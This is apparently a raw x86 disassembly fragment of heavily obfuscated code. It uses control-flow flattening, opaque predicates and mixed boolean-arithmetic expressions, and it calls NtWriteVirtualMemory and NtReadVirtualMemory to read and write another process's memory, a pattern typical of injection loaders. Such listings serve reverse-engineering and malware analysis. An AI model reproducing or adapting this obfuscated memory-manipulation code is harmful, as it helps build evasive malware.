mov ecx, 0x58a173f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x174], 0xed5ca629
jmp 0x1000d86e
mov dword [ebp - 0x174], 0xf22002d1
jmp 0x1000d86e
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x174], 0x9ed614b9
jmp 0x1000d86e
mov eax, dword [ebp - 0xb4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb8]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x15c]
mov esi, dword [eax]
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xbc]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x174], 0xb6669762
jmp 0x1000d86e
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x174], 0x115458f3
jmp 0x1000d86e
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x78]
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbdaddb39
mov ecx, 0xf2925ae3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov dword [ebp - 0x174], 0xe5bec20f
jmp 0x1000d86e
mov dword [ebp - 0x174], 0xd160cc59
jmp 0x1000d86e
mov dword [ebp - 0x174], 0x9df9f23e
jmp 0x1000d86e
mov dword [ebp - 0x174], 0xecb63655
jmp 0x1000d86e
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x174], 0x300573bc
jmp 0x1000d86e
mov dword [ebp - 0x174], 0x8d424045
jmp 0x1000d86e
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x174], 0x964a8214
jmp 0x1000d86e
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x4c]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xfff
mov eax, 0xffffffff
xor eax, 0x34597238
or edx, ecx
or eax, 0x34597238
xor edx, 0xffffffff
and edx, eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x50]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x15c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x10c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov dword [ebp - 0x174], 0x8e4da3f
jmp 0x1000d86e
mov dword [ebp - 0x174], 0xd10851f2
jmp 0x1000d86e
mov dword [ebp - 0x174], 0xf410845d
jmp 0x1000d86e
jmp 0x10006e8f